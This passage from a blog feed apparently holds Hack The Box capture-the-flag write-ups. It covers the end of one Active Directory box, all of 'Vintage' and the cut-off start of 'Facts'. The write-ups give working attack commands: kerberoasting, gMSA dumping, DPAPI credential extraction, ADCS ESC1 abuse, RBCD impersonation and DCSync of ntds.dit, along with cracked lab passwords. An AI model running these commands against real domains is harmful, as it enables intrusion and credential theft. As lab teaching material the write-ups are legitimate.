&lt;p&gt;&lt;img src=&quot;attachments/857ca095d2181f87ae19bb9ec98320b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then save these hashes and attempt to crack them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5bfbfd05e4a6d46fde455b7fb78c88d3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;!@#$%^&amp;amp;*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can now use the &lt;code&gt;ansible-vault&lt;/code&gt; to view the contents by decrypting the contents with the cracked password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0de1bdb07a1d3b66bd874b90e084bceb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6697c9e72a1f4d8635eb51aa72f5c77a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_pwm
pWm_@dm!N_!23
DevT3st@123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It seems the &lt;code&gt;pwm_admin_password&lt;/code&gt; is the second one so let&apos;s try to log in with it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d14a20ef1fda9c97260632d94a026623.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then proceeded to download the configuration&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/be62098267abfe3439ab4013bd4abee1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Which contained the configuration password hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/29cd50606e7806d4e20a4f9adcf86bc0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I also happened to find the &lt;em&gt;svc_ldap&lt;/em&gt; proxy user as well as the proxy password hash:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ee657a3737405f9c5004a329d340e90.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;configuration editor&lt;/h3&gt;
&lt;p&gt;While I tried cracking these hashes it did not seem to work so I instead headed over to the &lt;strong&gt;Configuration Editor&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09725b70b29c5f7c84f963fac86875bf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up I headed over to the following tab:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4f1b15def83b60e6ce4c1a89bf3dbee4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I modified the &lt;strong&gt;LDAP URLs&lt;/strong&gt; parameter to my own:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0ffd8b422cedfac4c9ddf815e0d6c79a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d9be093132d45c6ed8b5a7347fdfe58b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up I launched &lt;code&gt;responder&lt;/code&gt; and clicked the &lt;strong&gt;Test LDAP Profile&lt;/strong&gt; button.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8cddfad60e82105df41e417f94282bd8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gave me a cleartext credentialled output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/75431ddcd0f123ccc31a61a0674f300b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_ldap
lDaP_1n_th3_cle4r!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;I then used this account in order to fetch &lt;code&gt;bloodhound&lt;/code&gt; data:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ffeacc1b98472122b6866429553214ca.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I ingested it into &lt;code&gt;bloodhound&lt;/code&gt; and checked out the results. Unfortunately the results were quite depressing, although I did have remote management access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/07d2d12a31f93facade2b930ae76aac3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as svc_ldap&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/da8ea23ae20106de5d66b5200e1a001a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b8c7b83fe96cedcbb3f6cfa0b44e362c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to enumerate the system but did not find anything of use so instead checked out the Certificate Services.&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;ADCS - ESC1&lt;/h2&gt;
&lt;p&gt;Using &lt;code&gt;certipy-ad&lt;/code&gt; I checked out the vulnerable templates.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/64d43c9285d7661c168bbf35fba5a151.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like we have enrollment rights over &lt;strong&gt;CorpVPN&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0e2b0e72f4934768ecfa82f9b2a2bc3b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore we see an &lt;strong&gt;Enrollable Principal&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d8a89ebb9d7b5556c3b5c60df3973368.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Domain Computers Enrollable&lt;/h3&gt;
&lt;p&gt;We can exploit the enrollable principal by adding a malicious machine account using &lt;code&gt;powerview&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;powerview authority.htb/&apos;svc_ldap&apos;:&apos;lDaP_1n_th3_cle4r!&apos;@10.129.229.56

Add-ADComputer -ComputerName hacked -ComputerPass P@ssword123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/feb5cbd78527ce589d1027ca14538627.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now request the Administrator certificate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -dc-ip 10.129.229.56 -u &apos;hacked$&apos; -p &apos;P@ssword123&apos; -ca AUTHORITY-CA -template CorpVPN -upn Administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bbe89676b9dc86e05dc6d237387356fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For persistence I will modify the password as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f0bf7f192d495657d62ac73c9366f83.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;At last I get access as &lt;em&gt;Administrator&lt;/em&gt; and get the root flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/890e95cd2198ca3048a486b57722eb59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e3fcdf0a19a6a0dffc354dd224c98a5a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Vintage</title><link>https://maxk9999.vercel.app/posts/vintage</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/vintage</guid><pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.129.231.205

Creds:
P.Rosa
Rosaisbest123
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 --min-rate=5000 -vvvv vintage.htb

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-01-31 11:21:09Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49676/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
65015/tcp open  msrpc         syn-ack Microsoft Windows RPC
65021/tcp open  msrpc         syn-ack Microsoft Windows RPC
65041/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-01-31T11:22:00
|_  start_date: N/A
|_clock-skew: -6s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 22961/tcp): CLEAN (Timeout)
|   Check 2 (port 13217/tcp): CLEAN (Timeout)
|   Check 3 (port 17035/udp): CLEAN (Timeout)
|   Check 4 (port 56429/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kerbrute&lt;/h2&gt;
&lt;h3&gt;Mutating wordlists&lt;/h3&gt;
&lt;p&gt;By mutating a wordlist to the naming convention of the user we already found we can find another user in the domain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;awk &apos;{print substr($0,1,1)&quot;.&quot;substr($0,2)}&apos; /usr/share/seclists/Usernames/statistically-likely-usernames/jsmith.txt  &amp;gt; j.smith.txt

kerbrute userenum -d vintage.htb --dc 10.129.231.205 j.smith.txt \
| grep -oP &apos;\b[a-zA-Z0-9._-]+(?=@)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7eae2e13243fc87538378130e85846b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can mutate even further by using the &lt;code&gt;smith.txt&lt;/code&gt; file, and using &lt;code&gt;awk&lt;/code&gt; to prepend alphabetical characters:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;awk &apos;{for(c=97;c&amp;lt;=122;c++) printf &quot;%c.%s\n&quot;,c,$0}&apos; /usr/share/seclists/Usernames/statistically-likely-usernames/smith.txt &amp;gt; mutated.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6326f0db23a464ab0492471dd86304b0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gives us 2 more users which we can add.&lt;/p&gt;
&lt;h2&gt;BloodHound&lt;/h2&gt;
&lt;p&gt;First I went ahead and requested a TGT for the &lt;em&gt;P.Rosa&lt;/em&gt; user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a9550b5dd58ce4ff0e57d3e9858f689.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I went ahead and created a new &lt;code&gt;krb5&lt;/code&gt; config file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/04fccc29fd32bb45e8a66f85b7ff857e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;nxc&lt;/code&gt; I was able to enumerate all present users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/47eebe17ebcbec7de429681b20b6dad9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then went ahead and enumerated the target using &lt;code&gt;bloodhound&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/55b5058d00702e6a9b15b8c3c1cc6535.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c9769fad0a326d3678196a1f7bc787d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inspecting the shortest path I noticed that our user didn&apos;t really hold any special privileges:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7caaf936688918e2456af7a4fd2cd58b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From the &lt;code&gt;bloodhound-ce-python&lt;/code&gt; output however I remember the following line:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eb0fef765a23ed28a83b8040bf24fe66.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I thus checked out this computer in &lt;code&gt;bloodhound&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d098028af143a4ec50605f4bd16ec443.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Outbound Object Control:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;attachments/342f42208f1cf1baa68c3024f0861cdb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is quite interesting as we are able to dump the &lt;code&gt;gMSA&lt;/code&gt; password for the &lt;em&gt;GMSA01$&lt;/em&gt; account, but even more so interesting is what groups this computer is a member of:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/efcf2d02353bb3083aad9b1af849de60.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Being a member of the &lt;strong&gt;Pre-Windows 2000 Compatible Access&lt;/strong&gt; group as a &lt;em&gt;computer&lt;/em&gt; means the password is HIGHLY LIKELY the same as the computer name, as per &lt;a href=&quot;https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers&quot;&gt;this article&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ffdf900f6ca8532a1539633730145591.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd28fef057df081509d729dba3873753.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FS01$
fs01
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since non-kerb authentication does not work in this domain I requested a TGT for this computer account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/22f307e630555b74f71b525b7fdc95ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;gMSA dump&lt;/h3&gt;
&lt;p&gt;Now we can go ahead as we previously found:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1204a67c5f5c1ee176b32253def14960.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gMSA01$
d933ef50c2677cc83e8c9a7d09e678e5
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GenericWrite - Add to group&lt;/h3&gt;
&lt;p&gt;Now since we own the &lt;em&gt;gMSA01$&lt;/em&gt; machine account we can check our privs, which turn out to be plentiful.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/99b9d36877b7b64ae0803731e9a92b8b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First of all I request a TGT again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/510dd3cc13e947cf2cd17d7484e43615.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can use &lt;code&gt;bloodyAD&lt;/code&gt; to add ourselves to the group:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host DC01.vintage.htb -d vintage.htb -k add groupMember &apos;SERVICEMANAGERS&apos; &apos;gMSA01$&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01a7b68c138f8fffe2fe01e8fbc841a5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;GenericAll&lt;/h3&gt;
&lt;p&gt;We now appear to have &lt;strong&gt;GenericAll&lt;/strong&gt; privileges over 3 service accounts. One of the accounts, namely &lt;em&gt;svc_sql&lt;/em&gt;, appears to be disabled.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2788d4bb7ee241eaed664c7f7625e6d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since we have &lt;strong&gt;GenericAll&lt;/strong&gt; over the account we can enable the account again.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!warning]
We will have to request a new TGT otherwise we&apos;ll get the following error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3910d96f90b19601431b051c83297672.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD -d vintage.htb -k --host &quot;dc01.vintage.htb&quot; remove uac svc_sql -f ACCOUNTDISABLE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcbe76170c598f574bc7909cc4e0a45d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that the account is enabled again we can kerberoast all the accounts.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;targetedKerberoast -v -d &apos;vintage.htb&apos; -k --no-pass --dc-host dc01.vintage.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e378e3b055d123d1bc248329468723cf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;john&lt;/h3&gt;
&lt;p&gt;I was then able to crack one of the hashes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e345bacd2753096a49dee8b26f1e8783.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;svc_sql
Zer0the0ne
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dd4b47e2d4012aba87faccaad2ed55f1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like the password is reused by &lt;em&gt;C.Neri&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3da59343a42346315088e7e1f6ceca92.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears &lt;em&gt;C.Neri&lt;/em&gt; has remote management access, meaning we should be able to winrm into the system.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as C.Neri&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e858a5f5efdf34dc792e6b2797858a61.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3e1bd4f97af9d09346429e9da80c8162.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Decrypting DPAPI hash&lt;/h2&gt;
&lt;p&gt;Eventhough we can&apos;t use &lt;code&gt;cmdkey /list&lt;/code&gt;, we can check the local credentials:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/450cab03835079ccc65237f4bd30abe0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now I tried to use the &lt;a&gt;following script&lt;/a&gt; to extract the credentials, however it got flagged by AV:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d4463513d0a51ce2092d3c4627c229ab.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead I&apos;ll have to do it the hard way:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/87a57bb2b74206fcc8640628cedbc420.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried downloading them using the C2, that did not work. I then tested &lt;code&gt;smbserver&lt;/code&gt; which didn&apos;t work either, so instead I converted the contents to base64:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Convert]::ToBase64String([IO.File]::ReadAllBytes(&apos;C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847&apos;))

[Convert]::ToBase64String([IO.File]::ReadAllBytes(&apos;C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then copied the contents over, &lt;code&gt;base64&lt;/code&gt; decoded it and placed them in their respective file names:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;BASE64 ENCODED&amp;gt;&quot; | base64 -d &amp;gt; 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
echo &quot;&amp;lt;BASE64 ENCODED&amp;gt;&quot; | base64 -d &amp;gt; 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then did the same as above for the masterkey:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Convert]::ToBase64String([IO.File]::ReadAllBytes(&apos;C:\users\c.neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6&apos;))

echo &quot;&amp;lt;BASE64 ENCODED&amp;gt;&quot; | base64 -d &amp;gt; C4BB96844A5C9DD45D5B6A9859252BA6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now I was able to decrypt the dpapi hash and get the password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/803bc42e3cd244315ee1d4d517fa010b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c.neri_adm
Uncr4ck4bl3P4ssW0rd0312
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now this got way more interesting:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a3670db81f3990d0ddf5f10e7bc91338.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Resource Based Constraint Delegation (RBCD)&lt;/h2&gt;
&lt;p&gt;It appears I&apos;m already part of the &lt;strong&gt;Delegatedadmins&lt;/strong&gt; group, and I can abuse the &lt;strong&gt;AllowedToAct&lt;/strong&gt; attribute.&lt;/p&gt;
&lt;p&gt;In order to succeed though we&apos;ll need to add the &lt;em&gt;FS01$&lt;/em&gt; machine account to the &lt;strong&gt;Delegatedadmins&lt;/strong&gt; group using our &lt;strong&gt;GenericWrite&lt;/strong&gt; privileges and request a new ticket on their behalf.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/17c5cbd9147b0840ae3e586a471450d8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next up we&apos;ll request the ST to impersonate &lt;em&gt;DC01$&lt;/em&gt; with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getST -spn &apos;cifs/DC01.vintage.htb&apos; -impersonate &apos;DC01$&apos; &apos;vintage.htb&apos;/&apos;FS01$&apos; -dc-ip DC01.vintage.htb -k -no-pass
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b30607adc3158b9f0ad7afdcbe40c1fd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;DCSync&lt;/h2&gt;
&lt;p&gt;Now that we have a valid ticket as the &lt;em&gt;DC01$&lt;/em&gt; machine account we can &lt;strong&gt;DCSync&lt;/strong&gt; the domain and dump the &lt;code&gt;ntds.dit&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.129.7.79 -k --use-kcache --ntds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7e57f24c03334b4920bd407f0266155f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While it is not possible to use the &lt;em&gt;Administrator&lt;/em&gt; account to log in, we can use &lt;em&gt;L.Bianchi_adm&lt;/em&gt; to get an administrative shell.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/059896acfe2ac271d4ea42502fea88fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5ee13462ef5ce86957261fe4a2500a0c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f26b61ba9045f83c9a4b377a34000e1b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Facts</title><link>https://maxk9999.vercel.app/posts/facts</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/facts</guid><pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.129.20.26
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -Pn -T5 --min-rate=5000 -vvvv facts.htb

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
|   256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp    open  http    syn-ack nginx 1.26.3 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 8C83ADFFE48BE12C38E7DBCC2D0524BC
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: facts
54321/tcp open  http    syn-ack Golang net/http server
|_http-server-header: MinIO
| http-methods: 
|_  Supported Methods: GET OPTIONS
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 188FE85264FAB013
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sat, 31 Jan 2026 19:43:39 GMT
|     &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
|     &amp;lt;Error&amp;gt;&amp;lt;Code&amp;gt;InvalidRequest&amp;lt;/Code&amp;gt;&amp;lt;Message&amp;gt;Invalid Request (invalid argument)&amp;lt;/Message&amp;gt;&amp;lt;Resource&amp;gt;/nice ports,/Trinity.txt.bak&amp;lt;/Resource&amp;gt;&amp;lt;RequestId&amp;gt;188FE85264FAB013&amp;lt;/RequestId&amp;gt;&amp;lt;HostId&amp;gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&amp;lt;/HostId&amp;gt;&amp;lt;/Error&amp;gt;
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
